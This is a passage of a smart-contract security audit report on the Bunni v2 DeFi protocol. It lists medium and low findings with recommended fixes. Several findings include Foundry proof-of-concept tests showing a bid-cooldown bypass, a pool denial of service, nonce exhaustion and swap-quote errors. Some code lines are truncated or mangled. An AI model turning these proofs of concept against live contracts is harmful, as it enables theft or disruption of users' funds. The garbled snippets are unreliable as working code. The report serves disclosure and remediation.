169:             if (exactIn) {
170:                 // exact input swap
171:                 inverseCumulativeAmountFnInput =
172:>>>
                    zeroForOne ? currentActiveBalance0 + inputAmount : currentActiveBa
173:             } else {
174:                 // exact output swap
175:                 inverseCumulativeAmountFnInput = zeroForOne
176:                     ? currentActiveBalance1 - FixedPointMathLib.min
  (outputAmount, currentActiveBalance1)
177:>>>                  : currentActiveBalance0 - FixedPointMathLib.min
  (outputAmount, currentActiveBalance0);
178:             }
```

Recommendations

Modify the condition at line `BunniSwapMath#L134` to include a check for `naiveSwapResultSqrtPriceX96 == sqrtPriceNextX96`:

```
if (

                                amountSpecifiedRemaining == 0 || naiveSwapResultSqrtP
                    ||
                      (zeroForOne && naiveSwapResultSqrtPriceX96 > sqrtPriceNextX96)
                    ||
                      (!zeroForOne && naiveSwapResultSqrtPriceX96 < sqrtPriceNextX96)
+                   || (naiveSwapResultSqrtPriceX96 == sqrtPriceNextX96)
            ) {
```

[M-13] Bypassing `K` epochs cooldown limit of NextBid

Severity

Impact: Medium

Likelihood: Medium

Description

In the `AmAmm` contract, the Bid with the highest rent will become the TopBid. To prevent bids from being submitted at the last second, all Bids must become NextBids for `K` epochs before becoming TopBids. However, this limitation can be bypassed when `State.D->State.B`. The specific code is as follows.

```
if (rentOwed >= topBid.deposit) {
                    // State D -> State B
                    // top bid has insufficient deposit
                    // next bid becomes active after top bid depletes its
                    // deposit
                    rentCharged = topBid.deposit;

                    uint40 nextBidStartEpoch;
                    unchecked {
                        // unchecked so that if epoch ever overflows, we simply
                        // wrap around
                        nextBidStartEpoch = uint40
                          (topBid.deposit / topBid.rent) + topBid.epoch;
                    }
                    topBid = nextBid;
                    topBid.epoch = nextBidStartEpoch;
                    nextBid = Bid(address(0), 0, 0, 0, 0);

                    updatedTopBid = true;
                    updatedNextBid = true;
                } else {
```

In this logic, there is no check whether `currentEpoch >= nextBid.epoch + k`. An attacker can exploit this and submit a NextBid when the current TopBid is about to expire and become the TopBid in the next second. The specific attack method is in the attached PoC.

Recommendations

It is recommended to add a new `State.D->State.C` situation to prevent users from occupying TopBid by bypassing the limit of `K` epochs.

Appendix: PoC

Please insert this test function into the `AmAmm.t.sol` file.

```
function testYttriumzzPoC0100() external {
        vm.warp(10000 * EPOCH_SIZE);

        // Init: start in state D
        address initBidder = makeAddr("initBidder");
        amAmm.bidToken().mint(initBidder, K * 1e18);
        vm.startPrank(initBidder);
        amAmm.bidToken().approve(address(amAmm), type(uint256).max);
        amAmm.bid({
            id: POOL_0,
            manager: initBidder,
            payload: _swapFeeToPayload(0.01e6),
            rent: 1e18,
            deposit: K * 1e18
        });
        vm.stopPrank();
        assertEq(amAmm.getTopBidWrite(POOL_0).manager, address(0));
        assertEq(amAmm.getNextBidWrite(POOL_0).manager, initBidder);
        vm.warp(block.timestamp + K * EPOCH_SIZE);
        assertEq(amAmm.getTopBidWrite(POOL_0).manager, initBidder);
        assertEq(amAmm.getNextBidWrite(POOL_0).manager, address(0));

        // (24 hour - 1 second) has passed, so the remaining rent is 1 second
        vm.warp(block.timestamp + 24 * EPOCH_SIZE - 1);

        // The attacker submit a better bid
        address attacker = makeAddr("attacker");
        amAmm.bidToken().mint(attacker, K * 1.11e18);
        vm.startPrank(attacker);
        amAmm.bidToken().approve(address(amAmm), type(uint256).max);
        amAmm.bid({
            id: POOL_0,
            manager: attacker,
            payload: _swapFeeToPayload(0.01e6),
            rent: 1.11e18,
            deposit: K * 1.11e18
        });
        vm.stopPrank();
        assertEq(amAmm.getTopBidWrite(POOL_0).manager, initBidder);
        assertEq(amAmm.getNextBidWrite(POOL_0).manager, attacker);

        // 1 second has passed, attacker took the top bid in just 1 second.
        vm.warp(block.timestamp + 1);
        assertEq(amAmm.getTopBidWrite(POOL_0).manager, attacker);
        assertEq(amAmm.getNextBidWrite(POOL_0).manager, address(0));
    }
```

Run the PoC.

```
forge test -vvv --match-test testYttriumzzPoC0100
```

The result.

```
forge test -vvv --match-test testYttriumzzPoC0100
[⠊] Compiling...
No files changed, compilation skipped

Ran 1 test for test/AmAmm.t.sol:AmAmmTest
[PASS] testYttriumzzPoC0100() (gas: 309623)
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 3.61ms
  (1.27ms CPU time)

Ran 1 test suite in 19.01ms
  (3.61ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)
```

[M-14] BunniZone does not verify amAMM manager properly

Severity

Impact: Medium

Likelihood: Medium

Description

BunniZone is responsible for verifying the order fulfillers. It allows the am-AMM manager of the pool to fulfill orders. The issue is that the code doesn't check that currently the am-AMM isn't disabled through pool override or global override. So even if the am-AMM is disabled for the pool the `validate()` would allow the pending manager to fulfill the orders because the code uses `amAmm.getTopBid(id)` without first checking the `getAmAmmEnabled(id)`.

```
// query the hook for the am-AMM manager
        IAmAmm amAmm = IAmAmm(address(key.hooks));
        IAmAmm.Bid memory topBid = amAmm.getTopBid(id);

        // allow fulfiller if they are whitelisted or if they are the am-AMM
        // manager
        return isWhitelisted[fulfiller] || topBid.manager == fulfiller;
```

If admins disable am-AMM manager the code would allow for that last manager to fulfill the rebalance orders.

The other issue with the BunniZone is that code allows for current manager to fulfill the orders but the rebalance order may have created in the previous epochs and pool may had different manager in that time and benefits from the

rebalance order should go the manager of that epoch. This would only happen for rebalance orders that are created at the end of the epochs.

Recommendations

Check that am-AMM doesn't get disabled through pool override or global override.

[M-15] Incorrect use of "memory-safe" assembly blocks in `HookletLib.sol`

Severity

Impact: Medium

Likelihood: Medium

Description

In `HookletLib.sol`, the `callHooklet` and `staticcallHooklet` functions do not follow the Solidity guidelines for the use of "memory-safe" assembly blocks, as the return data in case of a revert might exceed 64 bytes.

According to the Solidity documentation, "these restrictions still need to be followed, even if the assembly block reverts or terminates".

```
File: Hooks.sol

    function callHooklet(
      IHookletself,
      bytes4selector,
      bytesmemorydata
    ) internal returns (bytes memory result
        bytes4 decodedSelector;
@>      assembly ("memory-safe") {
            if iszero(call(gas(), self, 0, add(data, 0x20), mload
              (data), 0, 0)) {
                if iszero(returndatasize()) {

                    mstore(0, 0x855e32e7)
                    revert(0x1c, 0x04)
                }
                // bubble up revert
@>              returndatacopy(0, 0, returndatasize())
@>              revert(0, returndatasize())
            }
```

Not following these guidelines might lead to unexpected behavior in the compilation process.

Recommendations

```
// bubble up revert
-                returndatacopy(0, 0, returndatasize())
-                revert(0, returndatasize())
+                let fmp := mload(0x40)
+                returndatacopy(fmp, 0, returndatasize())
+                revert(fmp, returndatasize())
```

[M-16] DoS on pool by minting shares without increasing balance

Severity

Impact: Medium

Likelihood: Medium

Description

When a deposit is made to a pool using rehypothecation, a portion of the tokens are sent to the vault. However, it is not checked if the deposit to the vault increases the balance on the pool.

This allows the first depositor to mint shares without increasing the balance of the pool, rendering the pool unusable, as future swaps or deposits will revert because the balance of both tokens is zero.

Another way of exploiting this vulnerability would be leaving just one token with a balance in the pool, allowing the following deposits to add liquidity only to one side of the pool.

Proof of concept

Add the following code to the file `BunniHub.t.sol` and run `forge test --mt test_DoS_pool`.

```
function test_DoS_pool() public {
    // Deployment data
    uint160 sqrtPriceX96 = TickMath.getSqrtPriceAtTick(0);
    Currency currency0 = Currency.wrap(address(token0));
    Currency currency1 = Currency.wrap(address(token1));
    bytes32 ldfParams = bytes32(abi.encodePacked(ShiftMode.BOTH, int24
      (-3) * TICK_SPACING, int16(6), ALPHA));
    bytes memory hookParams = abi.encodePacked(
        FEE_MIN,
        FEE_MAX,
        FEE_QUADRATIC_MULTIPLIER,
        FEE_TWAP_SECONDS_AGO,
        SURGE_FEE,
        SURGE_HALFLIFE,
        SURGE_AUTOSTART_TIME,
        VAULT_SURGE_THRESHOLD_0,
        VAULT_SURGE_THRESHOLD_1,
        REBALANCE_THRESHOLD,
        REBALANCE_MAX_SLIPPAGE,
        REBALANCE_TWAP_SECONDS_AGO,
        REBALANCE_ORDER_TTL,
        true,
        ORACLE_MIN_INTERVAL
    );
    bytes32 salt;
    unchecked {
        bytes memory creationCode = type(HookletMock).creationCode;
        for (uint256 offset; offset < 100000; offset++) {
            salt = bytes32(offset);
            address deployed = computeAddress(address
              (this), salt, creationCode);
            if (
                uint160(bytes20
                  (deployed)) & HookletLib.ALL_FLAGS_MASK == HookletLib.ALL_FLAGS_MASK
                    && deployed.code.length == 0
            ) {
                break;
            }
        }
    }
    HookletMock hooklet = new HookletMock{salt: salt}();

    // Deploy BunniToken
    (, PoolKey memory key) = hub.deployBunniToken(
        IBunniHub.DeployBunniTokenParams({
            currency0: currency0,
            currency1: currency1,
            tickSpacing: TICK_SPACING,
            twapSecondsAgo: TWAP_SECONDS_AGO,
            liquidityDensityFunction: ldf,
            hooklet: hooklet,
            statefulLdf: true,
            ldfParams: ldfParams,
            hooks: bunniHook,
            hookParams: hookParams,
            vault0: ERC4626(address(vault0)),
            vault1: ERC4626(address(vault1)),
            minRawTokenRatio0: 0.08e6,
            targetRawTokenRatio0: 0.1e6,
            maxRawTokenRatio0: 0.12e6,
            minRawTokenRatio1: 0.08e6,
            targetRawTokenRatio1: 0.1e6,
            maxRawTokenRatio1: 0.12e6,
            sqrtPriceX96: sqrtPriceX96,
            name: bytes32("BunniToken"),
            symbol: bytes32("BUNNI-LP"),
            owner: address(this),
```

```
            metadataURI: "metadataURI",
            salt: salt
        })
    );

    // First deposit mints shares, but balance of both tokens is zero
    (uint256 shares,,) = _makeDeposit(key, 1, 1);
    PoolState memory state = hub.poolState(key.toId());
    assert(shares > 0);
    assert(state.rawBalance0 == 0 && state.rawBalance1 == 0);
    assert(state.reserve0 == 0 && state.reserve1 == 0);

    // Swaps revert due to div by zero
    IPoolManager.SwapParams memory params = IPoolManager.SwapParams({
        zeroForOne: true,
        amountSpecified: -int256(1e18),
        sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
    });
    vm.expectRevert(FixedPointMathLib.FullMulDivFailed.selector);
    quoter.quoteSwap(address(this), key, params);

    // New deposits revert with BunniHub__ZeroSharesMinted error
    _makeDeposit(key, 1e18, 1e18);
}
```

Recommendations

Ensure that the balance in the pool increases on deposits. It would also be recommended to enforce a minimum amount of tokens deposited for the first deposit.

[M-17] DoS in `cancelNextBid()` due to insufficient `topBid` deposit

Severity

Impact: Medium

Likelihood: Medium

Description

The current implementation only checks if `(topBid.deposit / topBid.rent) < K(id)`, and if this condition is true, it reverts with `AmAmm__BidLocked`. This validation can be exploited by a malicious `topBid` bidder to prevent the `nextBid` bidder from canceling their bid.

```
File: AmAmm.sol
292:     function cancelNextBid(
  PoolIdid,
  addressrecipient
) external virtual override returns (uint256 refund
293:         ///
// ---------------------------------------------------------------------
294:         /// Validation
295:         ///
// ---------------------------------------------------------------------
296:
297:         address msgSender = LibMulticaller.senderOrSigner();
298:
299:         if (!_amAmmEnabled(id)) {
300:             revert AmAmm__NotEnabled();
301:         }
302:
303:         ///
// ---------------------------------------------------------------------
304:         /// State updates
305:         ///
// ---------------------------------------------------------------------
306:
307:         // update state machine
308:         _updateAmAmmWrite(id);
309:
310:         Bid memory nextBid = _nextBids[id];
311:
312:         // only the next bid manager can withdraw from the next bid
313:         if (msgSender != nextBid.manager) {
314:             revert AmAmm__Unauthorized();
315:         }
316:
317:         Bid memory topBid = _topBids[id];
318:
319:         // require D_top / R_top >= K
320:>>>      if (topBid.manager != address
  (0) && topBid.deposit / topBid.rent < K(id)) {
321:>>>          revert AmAmm__BidLocked();
322:>>>      }
323:
324:         // delete next bid from storage
325:         delete _nextBids[id];
326:
327:         ///
// ---------------------------------------------------------------------
328:         /// External calls
329:         ///
// ---------------------------------------------------------------------
330:
331:         // transfer nextBid.deposit to recipient
332:         _pushBidToken(id, recipient, nextBid.deposit);
333:
334:         emit CancelNextBid(id, msgSender, recipient, nextBid.deposit);
335:
336:         return nextBid.deposit;
337:     }
```

For example, consider a scenario where `K = 24` and `topBid.rent = 1` with `EPOCH_SIZE = 1 hour`. In this case, the malicious `topBid` bidder can maintain their deposit just below the required amount to satisfy the condition (`(topBid.deposit / topBid.rent) < K(id) = ((22 / 1) < 24) is true`). By depositing the minimum amount needed to pay the rent each epoch and

keeping the deposit under `24`, the malicious `topBid` bidder ensures that the validation `topBid.deposit / topBid.rent < K(id)` always holds true. Consequently, the `nextBid` bidder is unable to cancel their bid, resulting in a DoS condition.

According to the `amAmm` paper in the `Bidding rules` section:

> If the top bid does not have enough rent to pay for K blocks — that is, if Dtop / Rtop < K, then the next bid cannot be canceled, **but must leave at least enough deposit such that Dtop/Rtop + Dnext/Rnext ≥ K.**

The logic to ensure that the next bid cannot be canceled unless leave at least enough deposit such that `Dtop/Rtop + Dnext/Rnext ≥ K` is missing in nextBid cancellation.

Recommendations

To address this issue, the `AmAmm::cancelNextBid` function should be updated to include logic that allows the next bid to leave a deposit when the condition `(topBid.deposit / topBid.rent) < K(id)` is true, so the `nextBid` bidder is able to cancel the `nextBid`.

[M-18] `BunniQuoter` may not provide accurate quotes

Severity

Impact: Medium

Likelihood: Medium

Description

`BunniQuoter` provides quote functions for swaps, deposits, and withdrawals, allowing users to simulate these operations and get expected results without actually executing the transactions.

However, these quote functions do not perform calls to the hooklet functions, with the exception of `hookletBeforeSwapView`. This means that the quotes may

not accurately reflect the actual results of the operations if the hooklet functions were to affect the results.

For example, a pool with KYC requirements may implement a `hookletBeforeDeposit` function that reverts if the depositor is not in a whitelist. In this case, an unauthorized user calling the `quoteDeposit` function should receive $(0, 0, 0)$ no matter the input values they provide.

Recommendations

Provide a view version for all the hooklet functions and call them in the quote functions to ensure that the quotes accurately reflect the actual results of the operations.

[M-19] Referrer rewards can be arbitraged by sandwich attacks

Severity

Impact: Medium

Likelihood: Medium

Description

The `BunniToken` contract has a referrer mechanism, and referrer rewards are based on their scores. When BunniToken is transferred, the scores of the `from`'s referrer will be transferred to the `to`'s referrer.

```
function transfer
      (address to, uint256 amount) public virtual override returns (bool) {
--snip--
            // Update referrer scores if referrers are different.
            if iszero(eq(fromReferrer, toReferrer)) {
                // Compute the score slot of `fromReferrer`.
                mstore(0x00, or(fromReferrer, _SCORE_SLOT_SEED))
                let fromScoreSlot := keccak256(0x00, 0x20)
                // Subtract and store the updated score of `fromReferrer`.
>>              sstore(fromScoreSlot, sub(sload(fromScoreSlot), amount))
                // Compute the score slot of `toReferrer`.
                mstore(0x00, or(toReferrer, _SCORE_SLOT_SEED))
                let toScoreSlot := keccak256(0x00, 0x20)
                // Add and store the updated score of `toReferrer`.
>>              sstore(toScoreSlot, add(sload(toScoreSlot), amount))
            }
--snip--
```

The referrer can use this to arbitrage, the specific steps are as follows:

1. The referrer monitors the tx pool and finds that the admin attempts to call `BunniToken.distributeReferralRewards` to issue rewards.
2. The referrer buys a lot of tokens.
3. Admin call `BunniToken.distributeReferralRewards` to issue rewards.
4. The referrer claims the rewards.
5. The referrer sells a lot of tokens.

Steps 2 to 4 above are completed in the same block. In this way, the referrer can claim the reward in the same contract address (For example, AMM contracts).

Recommendations

It is recommended that referral rewards be released slowly over time.

[M-20] Using AAVE vaults for rehypothecation might lead to an underestimation of the value of the reserve

Severity

Impact: Medium

Likelihood: Medium

Description

For pools that support rehypothecation, the `previewRedeem` function of the vaults is called to obtain the value of the reserves represented in underlying assets.

Both the whitepaper and the documentation website mention that one of the yield-generating protocols that can be used for rehypothecation is AAVE. However, the `previewRedeem` function of AAVE vaults does not completely adhere to the EIP-4626 specification, as it fails to comply with the following requirement:

> MUST NOT account for withdrawal limits like those returned from maxWithdraw and should always act as though the withdrawal would be accepted, regardless if the user has enough shares, etc.

AAVE's implementation does take into account if the vault is paused and also the withdrawal limits, which can be reached if the pool is fully utilized.

```
File: https://github.com/aave/Aave-Vault/blob/main/src/ATokenVault.sol

    function previewRedeem(uint256 shares) public view override
      (ERC4626Upgradeable, IATokenVault) returns (uint256) {
        uint256 maxWithdrawable = _maxAssetsWithdrawableFromAave();
        return maxWithdrawable == 0 ? 0 : _convertToAssets
          (shares, MathUpgradeable.Rounding.Down).min(maxWithdrawable);
    }

(...)

    function _maxAssetsWithdrawableFromAave() internal view returns (uint256) {
        // returns 0 if reserve is not active, or paused
        // otherwise, returns available liquidity

        AaveDataTypes.ReserveData memory reserveData = AAVE_POOL.getReserveData
          (address(UNDERLYING));

        uint256 reserveConfigMap = reserveData.configuration.data;

        if ((reserveConfigMap & ~AAVE_ACTIVE_MASK == 0) ||
          (reserveConfigMap & ~AAVE_PAUSED_MASK != 0)) {
            return 0;
        } else {
            return UNDERLYING.balanceOf(address(ATOKEN));
        }
    }
```

As a result, the value of the reserves might be underestimated, being valued at 0 in the most extreme cases, that is, when the vault is paused or all the assets are borrowed. This would affect the most important calculations in the protocol, such as the value of minted shares for new deposits, the swap amounts, or the amounts received on withdrawals.

Recommendations

The most straightforward solution would be to avoid using AAVE vaults.

A solution to support AAVE vaults could be using a proxy contract (common or vault-specific) that would query the value of the reserve for each particular vault. In the case of AAVE vaults, this could be achieved by calling the `convertToAssets` function.

[M-21] Incorrect rounding in `computeSwap()`

Severity

Impact: Medium

Likelihood: Medium

Description

The `computeSwap` function of the respective library for each LDF calculates the `cumulativeAmount` and `swapLiquidity`, which are used to obtain the amount in and amount out of a swap.

The first step in the `computeSwap` function is to calculate `roundedTick` using the `inverseCumulativeAmount0` or `inverseCumulativeAmount1` functions. As we can see in the comments, this function will round up to the next rounded tick when the inverse tick is between two rounded ticks.

```
File: LibUniformDistribution.sol

228:             // compute roundedTick by inverting the cumulative amount

230:             // notice that the inverse tick is between two rounded ticks,
// and we round up to the rounded tick to the right
(...)
242:             (success, roundedTick) = inverseCumulativeAmount0(
243:
                   inverseCumulativeAmountInput, totalLiquidity, tickSpacing, tickLowe
244:             );
```

However, if we take a look at the implementation of these functions for the `LibUniformDistribution.sol` and `LibGeometricDistribution.sol` libraries, we can see that when the `inverseCumulativeAmountInput` provides a price that is very close to the rounded tick, it is not rounded up.

```
File: LibUniformDistribution.sol

138:             if (
139:                 sqrtPrice - sqrtPriceAtTick > 1
140:  @>                 && (sqrtPrice - sqrtPriceAtTick).mulDiv
  (SQRT_PRICE_MAX_REL_ERROR, sqrtPrice) > 1
141:             ) {
142:                 // getTickAtSqrtPrice erroneously rounded down to the
// rounded tick boundary
143:                 // need to round up to the next rounded tick
144:                 tick += tickSpacing;
```

```
File: LibGeometricDistribution.sol

344:          // round xWad to reduce error
345:          // limits tick precision to
//(ROUND_TICK_TOLERANCE / WAD) of a rounded tick
346:  @>      xWad =
//(xWad / ROUND_TICK_TOLERANCE) * ROUND_TICK_TOLERANCE; // clear small errors
(...)
413:          // round xWad to reduce error
414:          // limits tick precision to
//(ROUND_TICK_TOLERANCE / WAD) of a rounded tick
415:  @>      xWad =
//(xWad / ROUND_TICK_TOLERANCE) * ROUND_TICK_TOLERANCE; // clear small errors
```

The result is that the function will incorrectly return a value of `swapLiquidity` equal to zero, even when there is a small amount of liquidity available in the rounded tick. This will cause errors in the calculation of the amount in and amount out of a swap.

Given that the rest of LDFs are built on top of the `UniformDistribution` and `GeometricDistribution` LDFs, this will affect all of them.

Proof of concept

Add the following code to the file `BunniHub.t.sol` and run `forge test --mt test_diffTokenInTokenOut -vv`.

```
function test_diffTokenInTokenOut() external {
    (, PoolKey memory key) = _deployPoolAndInitLiquidity(
        Currency.wrap(address(token0)),
        Currency.wrap(address(token1)),
        ERC4626(address(0)),
        ERC4626(address(0))
    );

    // Swap to move price to lower tick
    _mint(key.currency0, address(this), 10e18);
    IPoolManager.SwapParams memory params = IPoolManager.SwapParams({
        zeroForOne: true,
        amountSpecified: int256(1e18),
        sqrtPriceLimitX96: TickMath.MIN_SQRT_PRICE + 1
    });
    swapper.swap(key, params, type(uint256).max, 0);

    // Quote swap with exact input
    params = IPoolManager.SwapParams({
        zeroForOne: false,
        amountSpecified: -int256(100),
        sqrtPriceLimitX96: TickMath.MAX_SQRT_PRICE - 1
    });
    (,,, uint256 inputAmount, uint256 outputAmount,,) = quoter.quoteSwap
      (address(this), key, params);
    console.log("\nQuote exact input");
    console.log("inputAmount (token1) ", inputAmount);
    console.log("outputAmount (token0)", outputAmount);

    // Quote swap with exact output
    params = IPoolManager.SwapParams({
        zeroForOne: false,
        amountSpecified: int256(99),
        sqrtPriceLimitX96: TickMath.MAX_SQRT_PRICE - 1
    });
    (,,,inputAmount,outputAmount,,) = quoter.quoteSwap(address
      (this), key, params);
    console.log("\nQuote exact output");
    console.log("inputAmount (token1) ", inputAmount);
    console.log("outputAmount (token0)", outputAmount);
}
```

Console output:

```
Quote exact input
  inputAmount (token1)  100
  outputAmount (token0) 99

Quote exact output
  inputAmount (token1)  1515890190660923693
  outputAmount (token0) 99
```

Swapping 100 token1 in gives us 99 token0 out. So swapping 99 token0 out should take 100 token1 in. However, it takes much more than that (1515890190660923693 token1 in).

Recommendations

Consider rounding up to the next rounded tick any time the `sqrtPrice` is equal to `sqrtPriceAtTick`.

8.4. Low Findings

[L-01] Withdrawal of queued shares reverts if the `shares` parameter is zero

`BunniHubLogic.withdraw` reverts when `params.shares` is zero. However, this value is not used when the `params.useQueuedWithdrawal` value is true, as in this case queued withdrawal share tokens will be used instead.

This means that when `withdraw` function is called with `useQueuedWithdrawal` set as true, the caller is required to set `shares` to any arbitrary value different from zero. This behavior might be unexpected from protocol integrations that will assume that a `shares` value of zero is valid, as the queued shares value will be used instead.

To avoid unexpected outcomes, it is recommended applying the following changes to the `BunniHubLogic.withdraw` function:

```
-   if (params.shares == 0) revert BunniHub__ZeroInput();
+   if
+ (!params.useQueuedWithdrawal && params.shares == 0) revert BunniHub__ZeroInput();
```

[L-02] The deployment nonce limit may be too small

The `BunniHub` contract allows anyone to deploy new `BunniTokens`, but there is a limit on the number of times, up to `1,000,000` times (The `1,000,000` is the upper limit of UniswapV4's fee).

```
function deployBunniToken(
      HubStoragestorages,
      Envcalldataenv,
      IBunniHub.DeployBunniTokenParamscalldataparams
    )
        external
        returns (IBunniToken token, PoolKey memory key)
    {
--snip--
        bytes32 bunniSubspace =
            keccak256(abi.encode(
              abi.encode

            )
        uint24 nonce_ = s.nonce[bunniSubspace];
>>      if (nonce_ > MAX_NONCE) revert BunniHub__MaxNonceReached();
--snip--
```

The attacker can continuously create new `BunniTokens` to make the `nonce_` reach the upper limit, thus DoS `BunniHub`. However, this requires a lot of gas fees, so it is necessary to judge the harm of this problem from the perspective of attack cost and impact.

The following is the test data I made for the Polygon chain, with a gas fee of `30 GWei` and a Matic price of `0.5` USD. For specific test methods, please see PoC. Creating `1,000,000` BunniTokens consumes `4990931099993` gas, a total of `4990931099993 * 0.00000003 = 149727.93299979` MATIC, with a value of `149727.93299979 * 0.5 = 74863.966499895` USD.

In other words, an attacker can DoS the deployment of `BunniToken` for a trading pair by spending 75,000 USD in Polygon chain. If gas fees are reduced in the future, the cost may be even smaller.

This is a simple scheme that allows the admin to delete useless `BunniToken` contracts.

Appendix: PoC

Please insert this test function into the `BunniHubTest` contract.

```
contract EmptyLiquidityDensityFunction {
    function isValidParams(
      PoolKeycalldatakey,
      uint24twapSecondsAgo,
      bytes32ldfParams
    ) external view returns (bool
        return true;
    }
}

contract EmptyHooks {
    function isValidParams(bytes calldata hookParams) external view returns
      (bool) {
        return true;
    }

    function beforeInitialize(
      address,
      PoolKeycalldata,
      uint160,
      bytescalldata
    ) external pure returns (bytes4
        return IHooks.beforeInitialize.selector;
    }

    function afterInitialize(
      address,
      PoolKeycalldata,
      uint160,
      int24,
      bytescalldata
    ) external pure returns (bytes4
        return IHooks.afterInitialize.selector;
    }
}
```

and

```
function testYttriumzzPoC0002() external {
        Currency currency0 = Currency.wrap(address(token0));
        Currency currency1 = Currency.wrap(address(token1));

        BunniHook emptyHooks = BunniHook(payable(address(new EmptyHooks())));
        uint160 sqrtPriceX96 = TickMath.getSqrtPriceAtTick(4);
        address testOwner = makeAddr("testOwner");

        uint256 gasTotal;
        for (uint256 i = 0; i < 1000002; i++) {
            if (i == 1000001) {
                vm.expectRevert(BunniHub__MaxNonceReached.selector);
            }

            uint256 gasBefore = gasleft();
            (, PoolKey memory key) = hub.deployBunniToken(
                IBunniHub.DeployBunniTokenParams({
                    currency0: currency0,
                    currency1: currency1,
                    tickSpacing: TICK_SPACING,
                    twapSecondsAgo: TWAP_SECONDS_AGO,
                    liquidityDensityFunction: emptyLiquidityDensityFunction,
                    hooklet: IHooklet(address(0)),
                    statefulLdf: true,
                    ldfParams: bytes32(0),
                    hooks: emptyHooks,
                    hookParams: "",
                    vault0: ERC4626(address(0)),
                    vault1: ERC4626(address(0)),
                    minRawTokenRatio0: 0.08e6,
                    targetRawTokenRatio0: 0.1e6,
                    maxRawTokenRatio0: 0.12e6,
                    minRawTokenRatio1: 0.08e6,
                    targetRawTokenRatio1: 0.1e6,
                    maxRawTokenRatio1: 0.12e6,
                    sqrtPriceX96: sqrtPriceX96,
                    name: "",
                    symbol: "",
                    owner: testOwner,
                    metadataURI: "",
                    salt: bytes32(i)
                })
            );
            uint256 gasAfter = gasleft();
            uint256 gasUsed = gasBefore - gasAfter;
            gasTotal += gasUsed;
            console.log(
              "nonce:%s,
              gasUsed:%s,
              gasTotal:%s",
              key.fee,
              gasUsed,
              gasTotal
            );
        }
    }
```

[L-03] Inconsistencies in pool balances due to external deposits

In BunniV2, the **pool balance** is tracked within the protocol using two main components:

1. **Raw Balances**: This represents the actual amount of tokens held directly by the pool.
2. **Vault Balances**: This represents tokens held in a vault, potentially earning yield or being used in other strategies.

Their balances are updated each time a user interacts with `BunniHub::deposit` and `BunniHub::withdraw` and those are used by the **rebalance functionality** to ensure that liquidity is correctly distributed according to the pool's Liquidity Density Function (LDF).

```
File: BunniHookLogic.sol
130:     function beforeSwap(
131:         HookStorage storage s,
132:         Env calldata env,
133:         address sender,
134:         PoolKey calldata key,
135:         IPoolManager.SwapParams calldata params
136:     )
137:         external
138:         returns (
139:             bool useAmAmmFee,
140:             address amAmmManager,
141:             Currency amAmmFeeCurrency,
142:             uint256 amAmmFeeAmount,
143:             BeforeSwapDelta beforeSwapDelta
144:         )
145:     {
...
...
435:
436:         // we should rebalance if:
437:         // - rebalanceThreshold != 0, i.e. rebalancing is enabled
438:         // - shouldSurge == true, since tokens can only go out of balance
// due to shifting or vault returns
439:         // - the deadline of the last rebalance order has passed
440:         if
  (hookParams.rebalanceThreshold != 0 && shouldSurge && block.timestamp > s.rebalanceO
441:             _rebalance(
442:                 s,
443:                 env,
444:                 RebalanceInput({
445:                     id: id,
446:                     key: key,
447:                     updatedTick: updatedTick,
448:                     updatedSqrtPriceX96: updatedSqrtPriceX96,
449:                     arithmeticMeanTick: arithmeticMeanTick,
450:                     newLdfState: newLdfState,
451:                     hookParams: hookParams,
452:                     updatedIntermediate: updatedIntermediate,
453:                     updatedIndex: updatedIndex,
454:                     updatedCardinality: updatedCardinality
455:                 })
456:             );
457:         }
...
...
475:     }
```

However, an external function, such as `poolManager::modifyPosition` (part of the Uniswap contracts), allows users to modify liquidity positions directly on the underlying Uniswap pools without interacting with the Bunni deposit function. This external interaction can change the pool's token balance without the Bunni protocol being immediately aware of it, leading to potential discrepancies in the internal accounting of the protocol.

If tokens are deposited directly into the pool using `poolManager::modifyPosition`:

- **Balance Discrepancy**: The raw balance of tokens in the Uniswap pool could change without a corresponding update in the Bunni protocol's internal accounting (raw and vault balances). This would create a discrepancy between the actual pool state and the protocol's perceived state.
- **Incorrect Rebalancing Calculations**: The rebalance functionality relies on accurate data about the pool's current state. If the actual token balances are different from what the protocol expects, the rebalance might be performed incorrectly, potentially leading to suboptimal liquidity distribution or even losses.

The **Uniswap Hook** `beforeModifyPosition` can indeed mitigate this issue. The hook can revert any deposits that would cause an imbalance or affect the protocol's internal accounting.

[L-04] Incorrect refund calculation due to exclusion of vault fee in `BunniHubLogic`

In the `BunniHubLogic` contract, there is a refund mechanism for unused `msg.value`. The refund logic currently considers only the `amount0` and `amount1`, which are the sums of the `raw` and `reserve` amounts. However, when a deposit is made and a vault fee is applied, the vault fee amount is not included in the calculation for the refund excess. This results in an incorrect refund amount, where the vault fee is not deducted from the total ether to be refunded.

For instance, if a user sends `20 ether` as `msg.value` to the deposit function and specifies `amount0Desired` as `10 ether` with a `vaultFee` of `1 ether`, the total ether used is `11 ether` (10 ether as amount0, including raw and reserve, and 1 ether as vault fee). The current refund logic would incorrectly refund 10 ether instead of the correct 9 ether, as it does not account for the vault fee.

```
File: BunniHubLogic.sol
073:     function deposit(
  HubStoragestorages,
  Envcalldataenv,
  IBunniHub.DepositParamscalldataparams
)
074:         external
075:         returns (uint256 shares, uint256 amount0, uint256 amount1)
076:     {
...
...
171:         // refund excess ETH
172:         if (params.poolKey.currency0.isNative()) {
173:             if (address(this).balance != 0) {
174:                 params.refundRecipient.safeTransferETH(
175:                     FixedPointMathLib.min(address
  (this).balance, msg.value - amount0)
176:                 );
177:             }
178:         } else if (params.poolKey.currency1.isNative()) {
179:             if (address(this).balance != 0) {
180:                 params.refundRecipient.safeTransferETH(
181:                     FixedPointMathLib.min(address
  (this).balance, msg.value - amount1)
182:                 );
183:             }
184:         }
...
...
196:     }
```

Update the refund calculation to account for the vault fee, ensuring that the total ether used is accurately deducted from `msg.value`.

[L-05] `previewRedeem` function of ERC4626 vaults can revert

The `previewRedeem` function of vaults is called throughout the protocol to obtain the total value of assets owned by a pool.

According to the EIP-4626 specification, the `previewRedeem` function "MUST NOT revert due to vault specific user/global limits", but "**MAY revert due to other conditions that would also cause redeem to revert**". This means that some valid implementations of the specification may revert under certain conditions, such as the vault being paused, which will provoke most functions in the Bunni protocol to revert.

While the protocol acknowledges that "it's important to choose reputable, audited protocols for rehypothecation", given that this issue can arise with vaults that follow correctly the EIP-4626 specification, it is recommended

document that vaults reverting on `previewRedeem` should not be used for rehypothecation.

